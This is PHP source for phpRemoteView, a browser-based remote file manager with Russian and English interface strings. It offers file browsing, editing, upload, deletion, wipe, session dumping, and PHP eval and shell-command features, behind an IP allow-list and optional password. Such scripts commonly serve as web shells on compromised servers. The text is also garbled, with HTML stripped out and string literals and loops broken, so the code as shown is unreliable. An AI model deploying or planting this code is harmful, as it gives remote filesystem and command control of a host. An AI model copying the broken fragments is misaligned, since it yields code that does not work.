$v) $tmp[]=str_replace("\\*",".*",preg_quote($v)); $s="!^(".implode("|",$tmp).")$!i"; if (!preg_match($s,getenv("REMOTE_ADDR")) && !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) exit("

phpRemoteView: Access Denied - your host not allow

\n"); if ($login!==false && (!isset($HTTP_SERVER_VARS['PHP_AUTH_USER']) || $HTTP_SERVER_VARS['PHP_AUTH_USER']!=$login || $HTTP_SERVER_VARS['PHP_AUTH_PW']!=$pass)) { header("WWW-Authenticate: Basic realm=\"phpRemoteView\""); header("HTTP/1.0 401 Unauthorized"); exit("

phpRemoteView: Access Denied - password erroneous

\n"); } error_reporting(2047); set_magic_quotes_runtime(0); @set_time_limit(0); @ini_set('max_execution_time',0); @ini_set('output_buffering',0); if (function_exists("ob_start") && (!isset($c) || $c!="md5crack")) ob_start("ob_gzhandler"); $self=basename($HTTP_SERVER_VARS['PHP_SELF']); $url="http://".getenv('HTTP_HOST'). (getenv('SERVER_PORT')!=80 ? ":".getenv('SERVER_PORT') : ""). $HTTP_SERVER_VARS['PHP_SELF']. (getenv('QUERY_STRING')!="" ? "?".getenv('QUERY_STRING') : ""); $uurl=urlencode($url); // // antofix 'register globals': $HTTP_GET/POST_VARS -> normal vars; // $autovars1="c d f php skipphp pre nlbr xmp htmls shell skipshell pos ". "ftype fnot c2 confirm text df df2 df3 df4 ref from to ". "fatt showfile showsize root name ref names sort sortby ". "datetime fontname fontname2 fontsize pan limit convert fulltime fullqty"; foreach (explode(" ",$autovars1) as $k=>$v) { if (isset($HTTP_POST_VARS[$v])) $$v=$HTTP_POST_VARS[$v]; elseif (isset($HTTP_GET_VARS[$v])) $$v=$HTTP_GET_VARS[$v]; //elseif (isset($HTTP_COOKIE_VARS[$v])) $$v=$HTTP_COOKIE_VARS[$v]; } // // autofix 'magic quotes': // $autovars2="php shell text d root convert"; if (get_magic_quotes_runtime() || get_magic_quotes_gpc()) { foreach (explode(" ",$autovars2) as $k=>$v) { if (isset($$v)) $$v=stripslashes($$v); } } $cp_def=array( "001001", "nst2ac", "d/m/y H:i", "Tahoma", "9" ); $panel=0; if (isset($HTTP_COOKIE_VARS["cp$panel"])) $cp=explode("~",$HTTP_COOKIE_VARS["cp$panel"]); else $cp=$cp_def; $cc=$cp[0]; $cn=$cp[1]; /* $cc / $cp[0]- список однобуквенных параметров, скопировано в $cs: $cc[0] - по какой колонке сортировать, а если это не цифра: n - по имени e - расширение $cc[1] - порядок (0 - возраст. 1 - убывающий) $cc[2] - показывать ли иконки $cc[3] - что делать при клике по иконке файла: 0 - просмотр в text/plain 1 - просмотр в html 2 - download 3 - параметры файла (info) $cc[4] - округлять размер файлов до Кб/Мб/Гб $cc[5] - язык: 1 - английский 2 - русски $cn / $cp[1] - список колонок и их порядок, которые показывать, строка букв/цифр: t - type n - name s - size a - owner+group o - owner g - group c - chmod 1 - create time 2 - modify time 3 - access time $cp[2]: формат времени $cp[3]: имя шрифта $cp[4]: размер шрифта */ // Как выравнивать колонки $cn_align=array(); $cn_align['t']='center'; $cn_align['n']='left'; $cn_align['s']='right'; $cn_align['a']='center'; $cn_align['o']='center'; $cn_align['g']='center'; $cn_align['c']='center'; $cn_align['1']='center'; $cn_align['2']='center'; $cn_align['3']='center'; /////////////////////////////////////////////////////////////////////////////// /*--mmstart--*/ $mm=array( "Index of"=>"Индекс", "View file"=>"Показ файла", "DISK"=>"ДИСК", "Info"=>"Инфо", "Plain"=>"Прямой", "HTML"=>"HTML", "Session"=>"Сессия", "Image"=>"Картинка", "Notepad"=>"Блокнот", "DOWNLOAD"=>"ЗАГРУЗИТЬ", "Edit"=>"Правка", "Sorry, this programm run in read-only mode."=>"Извините, эта программа работает в режиме 'только чтение'.", "For full access: write"=>"Для полного доступа: напишите", "in this php-file"=>"в этом php-файле", "Reason"=>"Причина", "Error path"=>"Ошибочный путь", "Click here for start"=>"Нажмите для старта", "up directory"=>"каталог выше", "access denied"=>"доступ запрещен", "REMVIEW TOOLS"=>"УТИЛИТЫ REMVIEW", "version"=>"версия", "Free download"=>"Бесплатная загрузка", "back to directory"=>"вернуться в каталог", "Size"=>"Размер", "Owner"=>"Овнер", "Group"=>"Группа", "FileType"=>"Тип файла", "Perms"=>"Права", "Create time"=>"Время создания", "Access time"=>"Время доступа", "MODIFY time"=>"Время ИЗМЕНЕНИЯ", "HEXDUMP PREVIEW"=>"ПЕРДПРОСМОТР В 16-РИЧНОМ ВИДЕ", "ONLY READ ACCESS"=>"ДОСТУП ТОЛЬКО НА ЧТЕНИЕ", "Can't READ file - access denied"=>"Не могу прочитать - доступ запрещен", "full read/write access"=>"полный доступ на чтение/запись", "FILE SYSTEM COMMANDS"=>"КОМАНДЫ ФАЙЛОВОЙ СИСТЕМЫ", "EDIT"=>"РЕДАКТ.", "FILE"=>"ФАЙЛ", "DELETE"=>"СТЕРЕТЬ", "Delete this file"=>"Стереть файл", "CLEAN"=>"ОЧИСТИТЬ", "TOUCH"=>"ОБНОВИТЬ", "Set current 'mtime'"=>"Устан.текущ.время", "WIPE(delete)"=>"УНИЧТОЖИТЬ", "Write '0000..' and delete"=>"Забить нулями, стереть", "COPY FILE"=>"КОПИРОВАТЬ ФАЙЛ", "COPY"=>"КОПИРОВАТЬ", "MAKE DIR"=>"СОЗДАТЬ КАТАЛОГ", "type full path"=>"введите полный путь", "MkDir"=>"Созд.Кат.", "CREATE NEW FILE or override old file"=>"СОЗДАТЬ НОВЫЙ ФАЙЛ или перезаписать старый", "CREATE/OVERRIDE"=>"СОЗДАТЬ/ПЕРЕЗАПИСАТЬ", "select file on your local computer"=>"выбрать файл на вашем локальном компьютере", "save this file on path"=>"сохранить этот файл в каталог", "create file name automatic"=>"придумать имя файлу автоматически", "OR"=>"ИЛИ", "type any file name"=>"ввести имя файла вручную", "convert file name to lovercase"=>"конвертировать имя в нижний регистр", "Send File"=>"Послать файл", "Delete all files in dir"=>"Удалить все файлы", "Delete all dir/files recursive"=>"Удалить ВСЕ +подкаталоги рекурсивно", "Confirm not found (go back and set checkbox)"=>"Подтверждение не поставлено (вернитесь назад и поставьте галочку)", "Delete cancel - File not found"=>"Удаление отменено - Файл не найден", "YES"=>"ДА", "ME"=>"МЕНЯ", "NO (back)"=>"НЕТ (назад)", "Delete cancel"=>"Удаление отменено", "ACCESS DENIED"=>"ДОСТУП ЗАПРЕЩЕН", "done (go back)"=>"готово (назад)", "Delete ok"=>"Ок, удаленно", "Touch cancel"=>"Обновление отменено", "Touch ok (set current time to 'modify time')"=>"Обновление завершено (файлу присвоено текущее время модификации)", "Clean (empty file) cancel"=>"Очищение (обнуление файла) отменено", "Clean ok (file now empty)"=>"Ок, очищено (файл обнулен)", "Wipe cancel - access denied"=>"Уничтожение отменено - доступ запрещен", "Wipe ok (file deleted)"=>"Ок, уничтожено (и файл стерт)", "DIR"=>"DIR", "Deleting all files in"=>"Удаление всех файлов в", "skip"=>"пропуск", "deleting"=>"удаление", "Deleting all dir/files (recursive) in"=>"Удаление всех файлов/подкаталогов (рекурсивно)", "DONE, go back"=>"ГОТОВО, назад", "DONE"=>"ГОТОВО", "file not found"=>"файл не найден", "ONLY READ ACCESS (don't edit!)"=>"ДОСТУП ТОЛЬКО НА ЧТЕНИЕ (не редактировать)", "Can't READ file - access denied (don't edit!)"=>"Не могу ЧИТАТЬ файл - доступ запрещен", "EDIT FILE"=>"ПРАВИТЬ ФАЙЛ", "can't open, access denied"=>"не могу открыть, доступ запрещен", "SAVE FILE (write to disk)"=>"СОХРАНИТЬ ФАЙЛ (запись на диск)", "You mast checked 'create file name automatic' OR typed file name!"=>"Вы должны отметить галочку [создать файл автоматически] или ввести в поле имя файла!'", "SAVING TO"=>"СОХРАНИТЬ В", "Sorry, access denied"=>"Извините, доступ запрещен", "for example, uncomment next line"=>"для примера, раскомментируйте следующую строку", "Eval PHP code"=>"Выполнить PHP код", "don't type"=>"не пишите", "and"=>"и", "example (remove comments '#')"=>"пример (удалите комментарии '#')", "Shell commands"=>"Команды Shell'a", "filesize to 0byte"=>"размер в 0 байт", "from"=>"от", "to"=>"в", "Full file name"=>"Полное имя файла", "Can't open directory"=>"Не могу открыть каталог", "setup"=>"настройка", "back"=>"назад", "Reset all settings"=>"Сбросить все настройки", "clear"=>"очистить", "Current"=>"Текущие", "Colums and sort"=>"Колонки и сортировка", "Sort order"=>"Порядок сортировки", "Ascending sort"=>"По возрастанию", "Descending sort"=>"По убыванию", "Sort by filename"=>"Сортировать по имени файла", "Sort by filename extension"=>"Сортировать по расширению файла", "Date/time format"=>"Формат даты/времени", "Panel font & size"=>"Шрифт/размер панели", "Setup"=>"Опции", "Char map"=>"Символы", "Language"=>"Язык", "English"=>"Английский", "Russian"=>"Русский", "Character map (symbol codes table)"=>"Таблица символов", "Select font"=>"Выберите шрифт", "or type other"=>"или введите другой", "Font size"=>"Размер шрифта", "Code limit"=>"Дипазон кодов", "Generate table"=>"Сгенерировать таблицу", "Universal convert"=>"Универсальные конвертации" );/*--mmstop--*/ $language=$cc[5]; if ($language!=1 && $language!=2) $language=1; function mm($m) { global $mm,$language; if ($language==1) return $m; if (isset($mm[$m])) return $mm[$m]; else echo ""; } switch ($language) { case 1: $cn_name=array( 't'=>"Type", 'n'=>"Name", 's'=>"Size", 'o'=>"Owner", 'g'=>"Group", 'a'=>"Owner/Group", 'c'=>"Perms", '1'=>"Create", '2'=>"Modify", '3'=>"Access" ); break; case 2: $cn_name=array( 't'=>"Тип", 'n'=>"Имя", 's'=>"Размер", 'o'=>"Владелец", 'g'=>"Группа", 'a'=>"Владелец/Группа", 'c'=>"Права", '1'=>"Создан", '2'=>"Изменен", '3'=>"Доступ" ); break; } /////////////////////////////////////////////////////////////////////////////// $rand=microtime(); if (!isset($c)) $c=""; if (!isset($d)) $d=""; if (!isset($f)) $f=""; ob(); $d=str_replace("\\","/",$d); if ($d=="") $d=realpath("./")."/"; if ($c=="") $c="l"; if ($d[strlen($d)-1]!="/") $d.="/"; $d=str_replace("\\","/",$d); if (!is_dir($d)) obb().die("

".mm("Can't open directory")." $d$obb"); if (!realpath($d) || filetype($d)!="dir") obb().die("error dir type $obb"); obb(); // // OS detect: // $win=0; $unix=0; if (strlen($d)>1 && $d[1]==":") $win=1; else $unix=1; /////////////////////////////////////////////////////////////////////////////// $html=<< phpRemoteView: $d$f remview; function display_perms($mode) { if ($GLOBALS['win']) return 0; /* Determine Type */ if( $mode & 0x1000 ) $type='p'; /* FIFO pipe */ else if( $mode & 0x2000 ) $type='c'; /* Character special */ else if( $mode & 0x4000 ) $type='d'; /* Directory */ else if( $mode & 0x6000 ) $type='b'; /* Block special */ else if( $mode & 0x8000 ) $type='-'; /* Regular */ else if( $mode & 0xA000 ) $type='l'; /* Symbolic Link */ else if( $mode & 0xC000 ) $type='s'; /* Socket */ else $type='u'; /* UNKNOWN */ /* Determine permissions */ $owner["read"] = ($mode & 00400) ? 'r' : '-'; $owner["write"] = ($mode & 00200) ? 'w' : '-'; $owner["execute"] = ($mode & 00100) ? 'x' : '-'; $group["read"] = ($mode & 00040) ? 'r' : '-'; $group["write"] = ($mode & 00020) ? 'w' : '-'; $group["execute"] = ($mode & 00010) ? 'x' : '-'; $world["read"] = ($mode & 00004) ? 'r' : '-'; $world["write"] = ($mode & 00002) ? 'w' : '-'; $world["execute"] = ($mode & 00001) ? 'x' : '-'; /* Adjust for SUID, SGID and sticky bit */ if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; $s=sprintf("%1s", $type); $s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); $s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); $s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); return trim($s); } function _posix_getpwuid($x) { if ($GLOBALS['win']) return array(); return @posix_getpwuid($x); } function _posix_getgrgid($x) { if ($GLOBALS['win']) return array(); return @posix_getgrgid($x); } function up($d,$f="",$name="") { global $self,$win; $len=strlen($d."/".$f); if ($len<70) { $sf1=""; $sf2=""; } elseif ($len<90) {$sf1=""; $sf2="";} else {$sf1=""; $sf2="";} echo "
$sf1"; $home="*"; echo $home.$sf2.""; if ($name!="") echo $name; else { if ($f=="") echo mm("Index of"); else echo mm("View file"); } echo " "; $path=explode("/",$d); $rootdir="/"; if ($win) $rootdir=strtoupper(substr($d,0,2))."/"; $ss=""; for ($i=0; $i$comm"; if ($i==0 && $d=="/") break; } echo ""; if ($f!="") echo "$sf1$f"; if ($win && strlen($d)<4 && $f=="") { echo "   ".mm("DISK").": "; for ($i=ord('a'); $i<=ord('z'); $i++) { echo "".strtoupper(chr($i)).": "; } } echo "
".mm("REMVIEW TOOLS")."
"; } function up_link($d,$f) { global $self; $notepad=str_replace(".","_",$f).".txt"; echo " [".mm("Info")."] [".mm("Plain")."(+)] [".mm("HTML")."(+)] [".mm("Session")."] [".mm("Image")."] [".mm("Notepad")."] [".mm("DOWNLOAD")."] [".mm("Edit")."] "; } function exitw() { exit("
".mm("Sorry, this programm run in read-only mode.")."
".mm("For full access: write")." `\$write_access=true;` ".mm("in this php-file").".
"); } function ob() { global $obb_flag, $obb; if (!isset($obb_flag)) { $obb_flag=0; $obb=false; } if (function_exists("ob_start")) { if ($GLOBALS['obb_flag']) ob_end_clean(); ob_start(); $GLOBALS['obb_flag']=1; } } function obb() { global $obb; if (function_exists("ob_start")) { $obb=ob_get_contents(); ob_end_clean(); $obb="

".mm("Reason").":
$obb

"; $GLOBALS['obb_flag']=0; } } function sizeparse($size) { return strrev(preg_replace("!...!","\\0 ",strrev($size))); } function jsval($msg) { $msg=str_replace("\\","\\\\",$msg); $msg=str_replace("\"","\\\"",$msg); $msg=str_replace("'","\\'",$msg); return '"'.$msg.'",'; } /////////////////////////////////////////////////////////////////////////// switch($c) { // listing case "l": echo $GLOBALS['html']; if (!realpath($d)) die("".mm("Error path").". ".mm("Click here for start")."."); //up($d); ob(); $di=dir($d); obb(); $dirs=array(); $files=array(); if (!$di) exit("<<< ".mm("up directory")." >>>

". "".mm("access denied").": $obb"); while (false!==($name=$di->read())) { if ($name=="." || $name=="..") continue; if (@is_dir($d.$name)) { $dirs[]=strval($name); $fstatus[$name]=0; } else { $files[]=strval($name); $fstatus[$name]=1; } $fsize[$name]=@filesize($d.$name); $ftype[$name]=@filetype($d.$name); if (!is_int($fsize[$name])) { $ftype[$name]='?'; $fstatus[$name]=1; } $fperms[$name]=@fileperms($d.$name); $fmtime[$name]=@filemtime($d.$name); $fatime[$name]=@fileatime($d.$name); $fctime[$name]=@filectime($d.$name); $fowner[$name]=@fileowner($d.$name); $fgroup[$name]=@filegroup($d.$name); if (preg_match("!^[^.].*\.([^.]+)$!",$name,$ok)) $fext[$name]=strtolower($ok[1]); else $fext[$name]=""; } $di->close(); $listsort=array(); if (count($dirs)) foreach ($dirs as $v) { switch ($cc[0]) { case "e": $listsort[$v]=$fext[$v].' '.$v; break; case "n": $listsort[$v]=strtolower($v); break; default: switch ($cn[$cc[0]]) { case "t": case "s": case "n": $listsort[$v]=strtolower($v); break; case "o": $listsort[$v]=$fowner[$v]; break; case "g": $listsort[$v]=$fgroup[$v]; break; case "a": $listsort[$v]="$fowner[$v] $fgroup[$v]"; break; case "c": $listsort[$v]=$fperms[$v]; break; case "1": $listsort[$v]=$fctime[$v]; break; case "2": $listsort[$v]=$fmtime[$v]; break; case "3": $listsort[$v]=$fatime[$v]; break; } } } $names=$listsort; //echo "

";print_r($names);
   if ($cc[1]) arsort($names); else asort($names);
   //echo "
";print_r($names);

   $listsort=array();
   if (count($files))
   foreach ($files as $v) {
       $v=strval($v);
       switch ($cc[0]) {
          case "e": $listsort[$v]=$fext[$v].' '.$v; break;
          case "n": $listsort[$v]=strtolower($v); break;
          default:
             switch ($cn[$cc[0]]) {
                case "n": $listsort[$v]=strtolower($v); break;
                case "t": $listsort[$v]=$ftype[$v]; break;
                case "s": $listsort[$v]=$fsize[$v]; break;
                case "o": $listsort[$v]=$fowner[$v]; break;
                case "g": $listsort[$v]=$fgroup[$v]; break;
                case "a": $listsort[$v]="$fowner[$v] $fgroup[$v]"; break;
                case "c": $listsort[$v]=$fperms[$v]; break;
                case "1": $listsort[$v]=$fctime[$v]; break;
                case "2": $listsort[$v]=$fmtime[$v]; break;
                case "3": $listsort[$v]=$fatime[$v]; break;
          
             }
      }
   }


   //echo "
DIRS:"; print_r($names);
   if ($cc[1]) arsort($listsort); else asort($listsort);
   //$names=array_merge($names,$listsort);
   foreach ($listsort as $k=>$v) $names[$k]=$v;
   //echo "
FILES:"; print_r($listsort);
   //echo "
NAMES:"; print_r($names);

?>


";
      if (strlen($d)>$gr && $i>0 && $i+1$gr) {
            $out.="••";
            $sum+=strlen($n[$i]);
         }
         else 
            $out.=$n[$i];
      }
      else 
         if ($i==0) $out.=strtoupper($n[$i]); else $out.=$n[$i];
      $out.="/";

   }

   return $out;
   return "$d";
}

$ext=array();
$ext['html']=array('html','htm','shtml');
$ext['txt']=array('txt','ini','conf','','bat','sh','tcl','js','bak','doc','log','sfc','c','cpp','h','cfg');
$ext['exe']=array('exe','com','pif','src','lnk');
$ext['php']=array('php','phtml','php3','php4','inc');
$ext['img']=array('gif','png','jpeg','jpg','jpe','bmp','ico','tif','tiff','avi','mpg','mpeg');


   echo "\n\n\n\n\n\n";


   //phpinfo();
   //echo implode(" | ",$cp);
   echo '';

   echo ''.
   '
'; echo '
'. ''. up2($d.$f).'
'; echo '
'. ''; $button_help=array( 'up'=>"UP DIR", 'refresh'=>"RELOAD", 'mode'=>'SETUP, folder option', 'edit'=>'DIR INFO', 'home'=>'HomePage', 'papki'=>'TREE', 'setup'=>'PHP eval, Shell', 'back'=>'BACK', ); function button_url($name) { global $self,$d,$f,$uurl; switch ($name) { case 'up': return "$self?c=l&d=".urlencode(realpath($d."..")); case 'refresh': return "$self?c=l&r=".rand(0,10000)."&d=".urlencode($d); case 'mode': return "$self?c=setup&ref=$uurl"; case 'edit': return "$self?c=d&d=".urlencode($d); case 'home': return "http://php.spb.ru/remview/"; case 'papki': return "$self?c=tree&d=".urlencode($d); case 'setup': return "$self?c=t"; case 'back': return "javascript:history.back(-1)"; } } echo ''; for ($i=0; $i"; switch ($cn[$i]) { case "n": case "t": case "s": case "o": case "g": case "a": case "c": case "1": case "2": case "3": echo "\xA0".$cn_name[$cn[$i]]."\xA0"; break; default: echo "??$cn[$i]??"; } if ($cc[0]==="$i") { if ($cc[1]=='0') echo ""; else echo ""; } echo ''; } echo ''; //
'; $buttons=array('back','up','refresh','edit','mode','disk','full','papki','setup','home'); $tmp=strtoupper($d[0]); for ($i=0; $i<?phpRemoteView?>'; continue; } if ($buttons[$i]=='disk') { if (!$win) continue; echo '"; continue; } $bturl=button_url($buttons[$i]); echo ''; } echo '
'; echo "
//askj klsdjf sldkjfl kasj flkajsd lkfjasdlkf jalskdfj lkas jfklasjlksdjfl







echo "\n\n\n\n\n"; echo '
'; echo "

".mm("Setup")." | PHP eval | phpinfo() | Shell | ".mm("Char map")." | ".mm("Language").": ".mm("English")."/".mm("Russian")."


! phpRemoteView © Dmitry Borodin (".mm("version")." $version)
".mm("Free download")." - http://php.spb.ru/remview/
"; break; case "set": switch ($c2) { case "sort": $name=intval($name); if ($name==$cc[0]) if ($cc[1]==='0') $cc[1]='1'; else $cc[1]='0'; $cc[0]=$name; break; case "panel": $cn=''; foreach ($names as $k=>$v) { if ($v!="") $cn.=substr($v,0,1); } $cc[0]=substr($sort,0,1); $cc[1]=substr($sortby,0,1); $cp[2]=substr($datetime,0,50); $cp[3]=substr($fontname,0,50); $cp[4]=substr($fontsize,0,50); //exit("cn=$cn
cc=$cc"); break; case "eng": $cc[5]=1; break; case "rus": $cc[5]=2; break; } $cookie=$cc."~".$cn."~".$cp[2]."~".$cp[3]."~".$cp[4]; if ($c2=="reset") $cookie=implode("~",$cp_def); //echo ""; setcookie("cp$pan",$cookie,time()+24*60*60*333,'/'); header("Location: $ref"); echo ""; //echo "[$ref]"; //phpinfo(); break; case "setup": echo $GLOBALS['html']; echo "

phpRemoteView ".mm("setup")." [".mm("back")."]


"; echo ""; echo " ".mm("Reset all settings").": ".mm("clear").""; echo " (".mm("Current").": ".implode(" | ",$cp).")

"; echo " "; echo "".mm("Colums and sort")."
"; echo "".mm("Sort order").": "; echo ""; echo ""; echo ""; echo "
"; echo ""; echo ""; echo ""; echo ""; echo ""; for ($i=0; $i<2; $i++) { echo ""; for ($j=0; $j<7; $j++) { $n=$j+$i*7; echo ""; } echo "
"; echo ""; echo "
"; } echo "

"; echo "".mm("Date/time format").":
d - day, m - month, y - year2, Y - year4, H - hour, m - minute, s - second

"; echo "".mm("Panel font & size").": pt

"; echo "

"; echo "
"; break; // view case "v": if (!isset($fnot)) $fnot=0; if (!isset($ftype)) $ftype=0; if ($fnot==0) { echo $GLOBALS['html']; up($d,$f); echo "<<<".mm("back to directory")." >>>"; up_link($d,$f); echo "
"; } if (!realpath($d.$f) || !file_exists($d.$f)) exit("".mm("file not found").""); if (!is_file($d.$f) || !$fi=@fopen($d.$f,"rb")) exit("

".mm("access denied").""); if ($ftype==0 || $ftype==4) { $buf=fread($fi,max(filesize($d.$f),$maxsize_fread)); fclose($fi); } switch ($ftype) { case 0: echo "

".htmlspecialchars($buf)."
"; break; case 1: readfile($d.$f); break; case 2: header("Content-type: image/gif"); readfile($d.$f); break; case 3: // download if (isset($fatt) && strlen($fatt)>0) { $attach=$fatt; header("Content-type: text/plain"); } else { $attach=$f; header("Content-type: phpspbru"); } header("Content-disposition: attachment; filename=\"$attach\";"); readfile($d.$f); break; case 4: // session echo "
";
      if (substr($f,0,5)=="sess_" && preg_match("!^sess_([a-z0-9]{32})$!i",$f,$ok)) {
         ini_set("session.save_path",$d);
         session_id($ok[1]);
         session_start();
         var_dump($HTTP_SESSION_VARS);
      }
      else {
         print_r(unserialize($buf));
      }
      echo "

";

   }

   break;







case "i": // information for FILE

   echo $GLOBALS['html'];
   up($d,$f);
   echo "<<<".mm("back to directory")." >>>";
   up_link($d,$f);

   if (!realpath($d.$f) || !file_exists($d.$f)) exit(mm("file not found"));

   echo "

".htmlspecialchars($d.$f)."

"; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo "
".mm("Size")." ".filesize($d.$f)."
".mm("Owner")."/".mm("Group")." "; $tmp=@_posix_getpwuid(fileowner($d.$f)); if (!isset($tmp['name']) || $tmp['name']=="") echo fileowner($d.$f)." "; else echo $tmp['name']." "; $tmp=@_posix_getgrgid(filegroup($d.$f)); if (!isset($tmp['name']) || $tmp['name']=="") echo filegroup($d.$f); else echo $tmp['name']; echo "
".mm("FileType")." ".filetype($d.$f)."
".mm("Perms")." ".display_perms(fileperms($d.$f))."
".mm("Create time")." ".date("d/m/Y H:i:s",filectime($d.$f))."
".mm("Access time")." ".date("d/m/Y H:i:s",fileatime($d.$f))."
".mm("MODIFY time")." ".date("d/m/Y H:i:s",filemtime($d.$f))."

"; $fi=@fopen($d.$f,"rb"); if ($fi) { $str=fread($fi,$hexdump_lines*$hexdump_rows); echo "".mm("HEXDUMP PREVIEW").""; $n=0; $a0="00000000
"; $a1=""; $a2=""; for ($i=0; $i"; $a1.="
"; $a2.="
"; } } //if ($a1!="") $a0.=sprintf("%08X",$i)."
"; echo "
$a0". "$a1$a2

"; } echo "Base64: [Encode [+chunk [+chunk+quotes [Decode

"; if (!$write_access) exitw(); $msg=""; if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r+")) $msg=" (".mm("ONLY READ ACCESS").")"; else fclose($fi); if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r")) $msg=" (".mm("Can't READ file - access denied").")"; else fclose($fi); if ($msg=="") $msg=" (".mm("full read/write access").")"; echo "".mm("FILE SYSTEM COMMANDS")."$msg

"; echo "
  ".mm("EDIT")."  
  ".mm("FILE")."  
   
>
".mm("Delete this file")."
   
>
".mm("filesize to 0byte")."
   
>
".mm("Set current 'mtime'")."
   
>
".mm("Write '0000..' and delete")."
   
"; echo "

". "".mm("COPY FILE")." ".mm("from")." ". " ".mm("to")." ". "". ">
"; echo "
".mm("MAKE DIR")." (".mm("type full path").")
"; echo "
".mm("CREATE NEW FILE or override old file")."
".mm("Full file name")."

"; echo "
FILE UPLOAD: ".mm("CREATE NEW FILE or override old file")."
1. ".mm("select file on your local computer").":
2. ".mm("save this file on path").":
3.   ".mm("OR")."   ".mm("type any file name").":
4.
"; break; case "base64": echo "
\n";
   $ff=fopen($d.$f,"rb") or exit("

access denied"); $text=fread($ff,max(filesize($d.$f),$maxsize_fread)); fclose($ff); switch ($c2) { case 0: echo base64_encode($text); break; case 1: echo chunk_split(base64_encode($text)); break; case 2: $text=base64_encode($text); echo substr(preg_replace("!.{1,76}!","'\\0'.\n",$text),0,-2); break; case 3: echo base64_decode($text); break; } break; case "d": // information for DIRECTORY echo $GLOBALS['html']; up($d,"","Directory"); echo "<<<".mm("back to directory")." >>>"; echo "

"; //up_link($d,""); if (!realpath($d) || !is_dir($d.$f)) exit(mm("dir not found")); echo "
"; echo ""; echo "
   ".mm("Owner")."/".mm("Group")."   "; $tmp=@_posix_getpwuid(fileowner($d.$f)); if (!isset($tmp['name']) || $tmp['name']=="") echo fileowner($d.$f)." "; else echo $tmp['name']." "; $tmp=@_posix_getgrgid(filegroup($d.$f)); if (!isset($tmp['name']) || $tmp['name']=="") echo filegroup($d.$f); else echo $tmp['name']; echo "
"; echo mm("Perms")."".display_perms(fileperms($d.$f))."
"; echo mm("Create time")."".date("d/m/Y H:i:s",filectime($d.$f))."
"; echo mm("Access time")."".date("d/m/Y H:i:s",fileatime($d.$f))."
"; echo mm("MODIFY time")."".date("d/m/Y H:i:s",filemtime($d.$f))."
"; echo "
  Root


"; echo "

"; if (!$write_access) exitw(); echo "".mm("FILE SYSTEM COMMANDS")."

"; echo "
>
   
>
   
"; echo "

".mm("MAKE DIR")." (type full path)
"; echo "
".mm("CREATE NEW FILE or override old file")."
".mm("Full file name")."

"; echo "
(FILE UPLOAD) ".mm("CREATE NEW FILE or override old file")."
1. ".mm("select file on your local computer").":
2. ".mm("save this file on path").":
3.   ".mm("OR")."   ".mm("type any file name").":
4.
"; break; case "tree": $tcolors=array( 'eee','ddd','ccc','bbb','aaa','999','888','988','a88','b88','c88','d88','e88','d98', 'ca8','bb8','ac8','9d8','8e8','8d9','8ca','8bb','8ac','89d','88e'); function dir_tree($df,$level=0) { global $tcolors,$self; $df=str_replace("//","/",$df); $dirs=array(); $files=array(); if ($dir=opendir($df)) { while (($file=readdir($dir))!==false) { if ($file=="." || $file=="..") continue; if (is_dir("$df/$file")) { $dirs[]=$file; } else { $files[]=$file; } } } closedir($dir); sort($dirs); sort($files); $i=min($level,count($tcolors)-1); $c=$tcolors[$i][0].$tcolors[$i][0].$tcolors[$i][1].$tcolors[$i][1].$tcolors[$i][2].$tcolors[$i][2]; echo "\r\n\r\n\r\n
"; if (count($dirs) || count($files)) { echo ""; } echo '
". "". $df."
 "; for ($i=0; $i 
'; } echo " "; echo $GLOBALS['html']; up($d,"","Directory"); echo "<<<".mm("back to directory")." >>>"; echo "

"; dir_tree($d); break; case "delete": if (!$write_access) exitw(); if (!isset($c2)) exit("err# delete 1"); if (!isset($confirm) || strlen($confirm)<3) exit("".mm("Confirm not found (go back and set checkbox)").""); echo "<<<".mm("back to directory")." >>>

"; if (!isset($d) || !isset($f) || !@file_exists($d.$f) || !@realpath($d.$f)) exit("".mm("Delete cancel - File not found").""); if (realpath(getenv("SCRIPT_FILENAME"))==$d.$f && !isset($delete_remview_confirm)) exit(mm("Do you want delete this script (phpRemoteView) ???")."



[".mm("YES").", ".mm("DELETE")." ".mm("ME")."]       [".mm("NO (back)")."]"); switch ($c2) { case "delete": //exit("$d $f"); ob(); if (!unlink($d.$f)) obb().exit("".mm("Delete cancel")." - ".mm("ACCESS DENIED")."$obb"); Header("Location: $self?c=l&d=".urlencode($d)); echo "

".mm("done (go back)")."!

"; echo "".mm("Delete ok").""; break; case "touch": ob(); if (!touch($d.$f)) obb().exit("".mm("Touch cancel")." - ".mm("ACCESS DENIED")."$obb"); Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f)); echo "".mm("done (go back)")."!

"; echo "".mm("Touch ok (set current time to 'modify time')").""; break; case "clean": ob(); $fi=fopen($d.$f,"w+") or obb().exit("".mm("Clean (empty file) cancel")." - ".mm("ACCESS DENIED")."obb"); ftruncate($fi,0); fclose($fi); Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f)); echo "".mm("done (go back)")."!

"; echo "".mm("Clean ok (file now empty)").""; break; case "wipe": $size=filesize($d.$f); ob(); $fi=fopen($d.$f,"w+") or obb().exit("".mm("Wipe cancel - access denied")."$obb"); $str=md5("phpspbru".mt_rand(0,999999999).time()); for ($i=0; $i<5; $i++) $str.=$str; // strlen 1024 byte for ($i=0; $i".mm("done (go back)")."!

"; echo "".mm("Wipe ok (file deleted)").""; break; } //Header("Location: $self?c=l&d=".urlencode(dirname($df))); //echo "SAVE NEW FILE DONE (go back)!"; break; case "dirdelete": if (!$write_access) exitw(); function dir_delete($df) { echo "".basename($df)."

    "; if ($dir=opendir($df)) { $i=0; while (($file=readdir($dir))!==false) { if ($file=="." || $file=="..") continue; if (is_dir("$df/$file")) { dir_delete($df."/".$file); } else { echo "$file
    "; echo "".mm("DELETE")." $df/$file ...
    "; unlink($df."/".$file); } $i++; } //if ($i==0) echo "-empty-
    "; } closedir($dir); echo "
